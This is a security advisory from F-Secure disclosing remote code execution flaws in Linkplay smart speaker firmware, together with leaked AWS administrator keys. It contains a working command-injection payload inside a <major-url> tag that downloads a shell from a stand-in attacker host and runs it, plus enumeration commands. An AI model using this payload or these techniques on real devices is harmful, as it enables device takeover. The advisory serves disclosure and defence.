Linkplay Firmware WAN/LAN Remote Code Execution
CVE-2019-15310, CVE-2019-15311, CVE-2019-15312
As part of an internal competition F-Secure identified multiple remote code execution vulnerabilities in the Zolo Halo smart speaker. Further analysis revealed these issues to be present in the base firmware image developed by Linkplay and used in a number of smart devices. At a high level, F-Secure were able to:
- Execute code on any device through the update process (see WAN RCE below).
- Execute code on any device if connected to the same network (see LAN RCE below).
- Gain access to Linkplay’s AWS estate with administrator privileges (see AWS Takeover).
During initial vulnerability research of the Zolo Halo smart speaker, F-Secure discovered AWS credentials that could be leveraged to gain access to Linkplay’s S3 buckets containing device firmware.
Initial enumeration of the Zolo Halo speaker revealed a web application listening on TCP port 80. This was observed to be a GoAhead web server. Further enumeration of this application revealed the httpapi.asp endpoint that could be used to gather further information about the device. Coupled with information from a number of forums (eg https://community.home-assistant.io/t/linkplay-integration/33878/76 and https://www.diyaudio.com/forums/class-d/302748-am-v200-wifi.html) F-Secure were able to identify the GetUpdateServer command:
$ curl http://10.10.10.254/httpapi.asp\?command\=GetUpdateServer -v
* Trying 10.10.10.254...
* TCP_NODELAY set
* Connected to 10.10.10.254 (10.10.10.254) port 80 (#0)
> GET /httpapi.asp?command=GetUpdateServer HTTP/1.1
> Host: 10.10.10.254
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Fri May 24 19:53:04 2019
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-Control: no-cache
< Content-type: text/html
* Closing connection 0
The silenceota.linkplay.com was an Amazon AWS S3 bucket containing firmware for over a hundred devices.
$ aws s3 ls s3://otasilence/
Analysis of files within this bucket, a "products.xml" file was identified providing the location of the firmware for specific devices. The following output shows the entry for the Zolo Halo speaker:
The corresponding "product.xml" file contains locations for all of up to date firmware:
The image-kernel tag contained the url for the device's firmware. This could be downloaded and the root file system extracted with binwalk. Analysis of the file system revealed several interesting artefacts. Of note were a number of custom binaries, scripts and miscellaneous files:
system/workdir/config-powersave.sh system/workdir/evn.sh system/workdir/live.sh system/workdir/release.txt
system/workdir/delay_reboot.sh system/workdir/factory.sh system/workdir/MVver
a01controller apple_remote factory_audio imuzop mdevnotify ntpd smplayer
a01remoteupdate asr_tts factory_gpio intercom multiplayer ntpdate stunnel
airplay cxdish factory_upgrade iperf mv_ioguard pushdeviceinfo volumeprompt
alexa_alert dsp_upgrade httping logtool mv_netguard rootApp
ca.pem config.bin grender-120x120.jpg grender-48x48.jpg melody.mp3 stunnel.conf Voice-prompt
config general.dat grender-120x120.png grender-48x48.png privateKey stunnel.pem
backupJffs2.sh burnrootImage.sh format_jffs2.sh restoreJffs2_user2.sh sysprivatelog.sh
backupJffs2_user2.sh ca-certificates.crt hosts run_a01remoteupdate.sh
burnjffs2.sh check_a01remoteupdate.sh jffs2.header sys_avs_log.sh
Whilst it is typical to see self-signed certificates in firmware, the file “/system/workdir/misc/privateKey” highlighted in the previous output contained AWS API keys:
$ cat system/workdir/misc/privateKey
Enumeration of the S3 buckets associated with the AWS API keys revealed that Linkplay were using AWS to store firmware files, log files, and provide access to APIs. The following buckets were found to store firmware:
Analysis of the impact of the leaked AWS credentials was performed through the AWS CLI. The API keys provided access to the AWS instance in the context of the "redacted" user:
$ aws iam get-user
This user was a member of the "Administrators" group:
$ aws iam get-group --group-name Administrators
The Administrators group had the following attached policies:
The AdministratorAccess policy highlighted in the previous output allows full access to the AWS instance. This is demonstrated by the “Action:*, Resource:*” permissions shown below:
Note that the REDACTED_2 role could be leveraged through assume-role. This role also had the AdministratorAccess policy attached, and so could provide privilege escalation should the REDACTED user be low privileged.
WAN Remote Code Execution
As described, when a device attempts to update a request made to “silenceota.linkplay.com/wifi_audio_image/prodcuts.xml”. This file is parsed in order to identify the location of device specific firmware. The silenceota.linkplay.com hostname is associated with the “otasilence” s3 bucket. As such, two routes to gain code execution through the firmware update process could be leveraged to compromise a large number of devices developed by Linkplay.
Given that the AWS API keys provide access to write to the “otasilence” bucket, an adversary could simply replace all firmware binaries with back-doored versions. This attack would be relatively stealthy, however does run the risk of breaking devices if the backdoored firmware is not correct.
A second method was identified that abuses a command injection vulnerability that occurs during parsing of the “products.xml” file. When a firmware update is requested, the “/system/workdir/bin/a01remoteupdate” binary is executed. In “a01remoteupdate” the UpdateImageAll method calls DownloadFile to first download the “products.xml” file:
.text:00406720 la $a0, 0x410000
.text:00406724 la $t9, printf
.text:00406728 lw $a1, 0x37B0+var_50($sp)
.text:0040672C jalr $t9 ; printf
.text:00406730 addiu $a0, (aOnlineUpdateBe - 0x410000) # "online update begin (count=%d)\n"
.text:00406734 lw $gp, 0x37B0+var_3788($sp)
.text:00406738 move $a0, $s0
.text:0040673C la $a1, 0x410000
.text:00406740 la $t9, 0x40545C
.text:00406744 bal DownloadFile
.text:00406748 addiu $a1, (aTmpProducts_xm - 0x410000) # "/tmp/products.xml"
If this download is successful, the ParseProducts method is called:
.text:0040690C loc_40690C: # CODE XREF: UpdateImageAll+248
.text:0040690C la $t9, 0x404AC8
.text:00406910 bal ParseProducts
.text:00406914 addiu $a0, $sp, 0x37B0+var_2DD8
The ParseProducts method uses an XML library to parse the “products.xml” file and retrieve the information required to request the device's firmware binary. Finally, DownloadFile is called a second time if ParseProducts is able to identify a valid url in the <major-url> tag for a matching product.
.text:00407AE4 la $s0, 0x410000
.text:00407AE8 la $t9, 0x40545C
.text:00407AEC addiu $a0, $sp, 0x37B0+var_2BD8
.text:00407AF0 bal DownloadFile
.text:00407AF4 addiu $a1, $s0, (aTmpProduct_xml - 0x410000) # "/tmp/product.xml"
The DownloadFile method contains a trivially exploitable Operating System command injection vulnerability. The “wget” utility is executed in the download process with user controllable input - specifically the url from the <major-url> tag from the previously parsed “products.xml” file.
.text:0040575C loc_40575C: # CODE XREF: DownloadFile+64
.text:0040575C la $a1, 0x410000
.text:00405760 addiu $v0, $s1, (aTmpRemoteupdat - 0x410000) # "/tmp/remoteupdatewget.log"
.text:00405764 sw $v0, 0x258+var_248($sp)
.text:00405768 move $a0, $s2 # s
.text:0040576C addiu $a1, (aWgetT15OSS21Te - 0x410000) # "wget -T 15 -O %s '%s' 2>&1 | tee %s"
.text:00405770 move $a2, $s0
.text:00405774 jalr $t9 ; sprintf
.text:00405778 move $a3, $s3
.text:0040577C move $s4, $zero
.text:00405780 b loc_4054F0
.text:00405514 addiu $a0, $s1, -0x4160 # filename
.text:00405518 lw $gp, 0x258+var_240($sp)
.text:0040551C la $t9, WMUtil_system
.text:00405520 jalr $t9 ; WMUtil_system
.text:00405524 move $a0, $s2
As can be seen from the assembly, this method is also vulnerable to a stack based buffer overflow through an unsanitised call to sprintf.
In order to demonstrate exploitability of this issue without impacting legitimate service of Linkplay customers, F-Secure deployed a device in a restricted network with a DNS server under its control. The DNS server contained a record pointing “silenceota.linkplay.com” to a testing system. In reality, an attacker could simply edit the “products.xml” file on the “otasilence” AWS s3 bucket.
On an F-Secure controlled system acting as the “silenceota.linkplay.co”` host, a web server was started with a malicious “products.xml” file hosted at “/var/www/html/wifi_audio_image/”. This file contained a single entry to exploit the Zolo Halo smart speaker:
<major-url>http://'$(wget http://attackerIP:8000/shell -O /tmp/shell; chmod 777 /tmp/shell; /tmp/./shell)'</major-url>
LAN Remote Code Execution
The previously described WAN RCE vulnerability presented a code pattern that was found in a variety of areas within the device firmware. F-Secure identified a number of similar vulnerabilities that could be leveraged by an attacker with network access to the affected devices. All vulnerabilities presented here can also be triggered remotely If a user on the local network is tricked into visiting a malicious website, as no CSRF protection is in place. This section provides analysis of one such vulnerability, subsequent sections provide a brief overview of the vulnerable functionality and example triggers.
Reverse engineering of the GoAhead web server hosted on the Zolo speaker revealed a command that could be used to set the network password:
Further analysis revealed the GoaheadCmdParseThread function, defined within the “rootApp” binary, was responsible to parse HTTP requests. In particular, the following decompiled snippet of code shows how the HTTP request is handled when the “setNetworkEx” string is contained in the “command” parameter:
iVar12 = strncmp((char *)__s1,"setNetworkEx:",0xd);
if (iVar12 == 0)
iVar12 = FUN_00403008((int)&__s1->_IO_read_base + 1,1);
if (iVar12 == -1)
The highlighted function call shows the vulnerable calls to system (causing a buffer overflow) and sprintf (causing a command injection).
Exploitation could be achieved by making a request that uses the wget utility to download and execute a remote payload:
F-Secure identified the following actions passed through the “command” parameter to the httpapi.asp endpoint were vulnerable to command injection.
Command Injection in getsyslog:ip:
The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:
Command Injection in getStatus:ip
The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:
Format String Vulnerabilities in getStatusEx
The getStatusEx command can pass user supplied format strings to a format string function. Both the device name and group name can be set by an unauthenticated user and trigger the bug if they contain format string sequences. The following commands can be used to set the values:
And the results can be viewed using:
As the %n specifier is allowed this can be used to write to arbitrary memory locations and to achieve code execution.
Command Injection in factory_cxdish
The following URL triggers a command injection vulnerability allowing privileged commands to be run as a privileged user. Note that the user supplied command must be hex encoded, in the following example, the command is “cat /etc/passwd”:
The combination of privileged AWS credentials that provide access to device firmware, combined with exploitable memory corruption and OS command injection vulnerabilities could result in exploitation of any device that attempts to update its firmware. Additionally due to the lack of authentication as well as other HTTP based attack mitigations, the LAN RCE vulnerabilities could be exploited from a malicious website.
Overall, F-Secure identified 89 devices that could be exploited through this method, gathered from the “products.xml” file (note there were 109 products in total, 20 of which were duplicates):